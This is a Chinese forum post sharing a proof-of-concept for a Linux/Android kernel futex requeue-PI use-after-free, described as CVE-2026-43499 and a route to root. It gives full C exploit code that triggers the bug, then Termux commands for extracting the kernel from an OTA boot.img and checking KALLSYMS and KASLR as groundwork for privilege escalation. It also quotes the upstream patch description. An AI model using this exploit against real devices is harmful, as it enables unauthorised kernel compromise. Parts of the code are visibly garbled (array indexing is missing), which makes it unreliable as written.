找回密码
 注册
搜索
系统gho:最纯净好用系统下载站投放广告、加入VIP会员,请联系 微信:wuyouceo
查看: 94|回复: 3

[教程] 安卓内核漏洞 CVE-2026-43499 可提权至root

[复制链接]
发表于 1 小时前 | 显示全部楼层 |阅读模式
本帖最后由 winpefk 于 2026-7-12 18:35 编辑

这个已经披露, 目前我没有在lineageos23.3的github源码上看到补丁痕迹, 估计最快也得本月合入

以下是poc:

#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/futex.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <time.h>
#include <unistd.h>

uint32_t f_wait;
uint32_t f_pi_target;
uint32_t f_pi_chain;

volatile int a_ready;
volatile int a_tid;
volatile int a_waiting;
volatile int b_started;
volatile int consume;
volatile int stamp_ready;

void futex_pi_lock(uint32_t *uaddr) {
        syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
}

void futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, struct timespec *ts) {
        syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0);
}

void futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) {
        syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0);
}

void futex_wait_int(volatile int *uaddr, int val) {
        syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, val, 0, 0, 0);
}

void futex_wake_int(volatile int *uaddr) {
        syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0);
}

void wait_change(volatile int *uaddr, int val) {
        while (*uaddr == val) futex_wait_int(uaddr, val);
}

void fill(uint64_t *buf) {
        for (int i = 0; i < 64; i++)
                buf = 0xdeadbee11c518f58ULL + i * 8;
}

void stamp_socket(uint64_t *buf) {
        int fd = socket(AF_INET6, SOCK_DGRAM, 0);
        setsockopt(fd, IPPROTO_IPV6, MCAST_JOIN_SOURCE_GROUP, buf, sizeof(struct group_source_req));
        close(fd);
}

void stamp_pselect(uint64_t *buf) {
        struct timespec ts = {};
        syscall(SYS_pselect6, 256, buf, buf + 16, buf + 32, &ts, 0);
}

void stamp_tcp(uint64_t *buf) {
        socklen_t len = 128;
        int fd = socket(AF_INET, SOCK_STREAM, 0);
        syscall(SYS_getsockopt, fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE, buf, &len);
        close(fd);
}

void stamp_process_vm(uint64_t *buf) {
        struct iovec iov[8];
        for (int i = 0; i < 8; i++) {
                iov.iov_base = (void *)(buf + 0x1000);
                iov.iov_len = 8;
        }
        syscall(SYS_process_vm_readv, syscall(SYS_getpid), iov, 8, iov, 8, 0);
        syscall(SYS_process_vm_writev, syscall(SYS_getpid), iov, 8, iov, 8, 0);
}

void stamp_keyctl(uint64_t *buf) {
        struct iovec iov[8];
        for (int i = 0; i < 8; i++) {
                iov.iov_base = (void *)(buf + 0x2000);
                iov.iov_len = 8;
        }
        syscall(SYS_keyctl, KEYCTL_DH_COMPUTE, buf, buf, 64, 0);
        syscall(SYS_keyctl, KEYCTL_INSTANTIATE_IOV, -1, iov, 8, 0);
}

void stamp_fd(uint64_t *buf) {
        int fd = syscall(SYS_timerfd_create, CLOCK_MONOTONIC, 0);
        int dup = syscall(SYS_fcntl, fd, F_DUPFD, 32);
#ifdef SYS_dup2
        syscall(SYS_dup2, fd, 31);
#else
        syscall(SYS_dup3, fd, 31, 0);
#endif
        close(dup);
        close(31);
        close(fd);
}

void stamp_futex(uint64_t *buf) {
        struct timespec ts = {};
        uint32_t a = 0;
        uint32_t b = 0;
        syscall(SYS_futex, &a, FUTEX_LOCK_PI, 0, 0, 0, 0);
        syscall(SYS_futex, &a, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
        syscall(SYS_futex, &a, FUTEX_WAIT_REQUEUE_PI, 0, &ts, &b, 0);
        syscall(SYS_futex, &a, FUTEX_CMP_REQUEUE_PI, 1, 1, &b, 0);
}

void stamp_lanes(uint64_t *buf) {
        fill(buf);
        // Note that this is only one possible way to control the stack UAF (to get an observable crash)
        // There are several unpriveleged, default avaliable way to control the kernel stack, so this bug is
        // competely not revelent whether the following setsockopt is accessable or not.
        stamp_socket(buf);
        stamp_pselect(buf);
        stamp_process_vm(buf);
        stamp_tcp(buf);
        stamp_keyctl(buf);
        stamp_fd(buf);
        stamp_futex(buf);
}

void stamp(void) {
        uint64_t buf[64];
        stamp_lanes(buf);
        stamp_ready = 1;
        futex_wake_int(&stamp_ready);
        for (int i = 0; i < 100; i++)
                stamp_lanes(buf);
}

void *waiter() {
        struct timespec ts;
        a_tid = syscall(SYS_gettid);
        futex_pi_lock(&f_pi_chain);
        a_ready = 1;
        usleep(200000);
        clock_gettime(CLOCK_MONOTONIC, &ts);
        ts.tv_sec++;
        a_waiting = 1;
        futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
        consume = 1;
        futex_wake_int(&consume);
        stamp();
        for (;;);
}

void *owner() {
        futex_pi_lock(&f_pi_target);
        while (!a_ready);
        b_started = 1;
        futex_pi_lock(&f_pi_chain);
        for (;;);
}

void *consumer() {
        struct sched_attr attr = {
                .size = sizeof(attr),
                .sched_policy = 3,
                .sched_nice = 19,
        };
        int tid;
        while (!(tid = a_tid));
        wait_change(&consume, 0);
        wait_change(&stamp_ready, 0);
        syscall(SYS_sched_setattr, tid, &attr, 0);
        for (;;);
}

void run(void) {
        pthread_t th;
        pthread_create(&th, 0, owner, 0);
        pthread_create(&th, 0, consumer, 0);
        pthread_create(&th, 0, waiter, 0);
        while (!a_waiting || !b_started);
        usleep(200000);
        futex_cmp_requeue_pi(&f_wait, &f_pi_target);
        for (;;);
}

void init(void) __attribute__((constructor));

void init(void) {
        run();
}

int main(void) {
        run();
}

在termux下编译运行, 如果你的机器突然卡死没有响应, 那么说明漏洞存在

测试机器, 小米 pad 6 (pipa) 4.19内核, selinux enforcing.

影响范围 linux 2.6 - 7.0 (含)

如需利用此漏洞,需手工定位内核基地址,并从内核提取kallsyms (内核来源可以是官方ota包)

这个提取待我试一试

实现攻击难度比较大, 但各位可以拿自己家一些废旧机器试一试

如果你机器已经使用正规途径root,假如无法得到ota包时, 最好给内核打补丁, 可以搜索这个patch

rtmutex: Use waiter::task instead of current in remove_waiter()

    remove_waiter() is used by the slowlock paths, but it is also used for proxy-lock rollback in rt_mutex_start_proxy_lock() when invoked from futex_requeue().
    In the latter case waiter::task is not current, but remove_waiter() operates on current for the dequeue operation.

    That results in several problems:
    1) the rbtree dequeue happens without waiter::task::pi_lock being held
    2) the waiter task's pi_blocked_on state is not cleared, which leaves a dangling pointer primed for UAF around.
    3) rt_mutex_adjust_prio_chain() operates on the wrong top priority waiter task Use waiter::task instead of current in all related operations in remove_waiter() to cure those problems.

    [ tglx: Fixup rt_mutex_adjust_prio_chain(), add a comment and amend the changelog ]
    Fixes: 8161239a8bcc ("rtmutex: Simplify PI algorithm and make highest prio task get lock")


然后手工backport

找基地址的部分我随后更新

第一步: 找到你对应机器的ota包, 用payload-dumper解包出boot.img
复制到手机 /sdcard/Download 目录
第二步: 下载一个magisk.apk到手机, 把后缀改为.zip, 找到lib/arm64/libmagiskboot.so,解压出来到/sdcard/Download
termux内运行:
cp /sdcard/Download/boot.img .
cp /sdcard/Download/libmagiskboot.so .
chmod +x libmagiskboot.so
第三步: 解包 boot.img, 拿出内核
mkdir temp
cd temp
../libmagiskboot.so unpack ../boot.img
现在, 在当前文件夹下的kernel就是我们需要的了.
第四步
apt update && apt install binwalk -y
binwalk kernel
理论上会有类似的提示:
binwalk pipa-zimage

       /data/data/com.termux/files/home/temp/kernel
--------------------------------------------------------------------------------
DECIMAL                            HEXADECIMAL                        DESCRIPTION
--------------------------------------------------------------------------------
242240                             0x3B240                            SHA256
                                                                      hash
                                                                      constants,
                                                                      little
                                                                      endian
24670208                           0x1787000                          ELF
                                                                      binary,
                                                                      64-bit
                                                                      shared
                                                                      object,
                                                                      ARM
                                                                      64-bit
                                                                      for
                                                                      System-V
                                                                      (Unix),
                                                                      little
                                                                      endian
24677072                           0x1788AD0                          SHA256
                                                                      hash
                                                                      constants,
                                                                      little
                                                                      endian
24677504                           0x1788C80                          AES S-Box
24677760                           0x1788D80                          AES S-Box
24678080                           0x1788EC0                          AES S-Box
24692736                           0x178C800                          gzip
                                                                      compressed
                                                                      data,
                                                                      operating
                                                                      system:
                                                                      Unix,
                                                                      timestamp:
                                                                      1970-01-01
                                                                      00:00:00,
                                                                      total
                                                                      size:
                                                                      76793
                                                                      bytes
24769832                           0x179F528                          XZ
                                                                      compressed
                                                                      data,
                                                                      total
                                                                      size:
                                                                      3420556
                                                                      bytes
28382080                           0x1B11380                          CRC32
                                                                      polynomial
                                                                      table,
                                                                      little
                                                                      endian
35802038                           0x2224BB6                          Copyright
                                                                      text:
                                                                      "Copyright
                                                                      2005-2007
                                                                      Rodolfo
                                                                      Giometti
                                                                      <giometti@linux.it>
                                                                      "
36012159                           0x225807F                          Copyright
                                                                      text:
                                                                      "Copyright(c)
                                                                      Pierre
                                                                      Ossman "
39901146                           0x260D7DA                          JBOOT
                                                                      STAG
                                                                      header,
                                                                      system
                                                                      upgrade
                                                                      image,
                                                                      header
                                                                      size: 16
                                                                      bytes,
                                                                      kernel
                                                                      data
                                                                      size:
                                                                      589827
                                                                      bytes
39930342                           0x26149E6                          JBOOT
                                                                      STAG
                                                                      header,
                                                                      system
                                                                      upgrade
                                                                      image,
                                                                      header
                                                                      size: 16
                                                                      bytes,
                                                                      kernel
                                                                      data
                                                                      size:
                                                                      720899
                                                                      bytes
40267560                           0x2666F28                          CPIO
                                                                      ASCII
                                                                      archive,
                                                                      file
                                                                      count: 3
--------------------------------------------------------------------------------

Analyzed 1 file for 85 file signatures (187 magic patterns) in 324.0 milliseconds

这个提示是彩色文本的, 十分大气😅

然后找到这两行:
24692736                           0x178C800                          gzip
                                                                      compressed
                                                                      data,
                                                                      operating
                                                                      system:
                                                                      Unix,
                                                                      timestamp:
                                                                      1970-01-01
                                                                      00:00:00,
                                                                      total
                                                                      size:
                                                                      76793
                                                                      bytes
24769832                           0x179F528                          XZ
                                                                      compressed
                                                                      data,
                                                                      total
                                                                      size:
                                                                      3420556
                                                                      bytes

存在两个整数: 24769832 24692736
按计算器相减, 拿到77096
于是dd if=./kernel of=./tmp.gz bs=1 skip=24692736 (提示gzip的那个行第一排的数字) count=77096
zcat tmp.gz|grep KALLSYMS
如果是这样
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_KALLSYMS_BASE_RELATIVE=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_KALLSYMS_BASE_RELATIVE=y

gzip: tmp.gz: decompression OK, trailing garbage ignored

继续看下去 (听下回分解)
否则就洗洗睡了
如果含有RANDOM_BASE, 后面带y的, 也别看了

发表于 半小时前 | 显示全部楼层
找基地址的部分我随后更新
回复

使用道具 举报

发表于 半小时前 | 显示全部楼层
学习一下。
回复

使用道具 举报

发表于 17 分钟前 | 显示全部楼层
了解一下。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1|闽公网安备35020302032614号 )

GMT+8, 2026-7-12 18:37

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表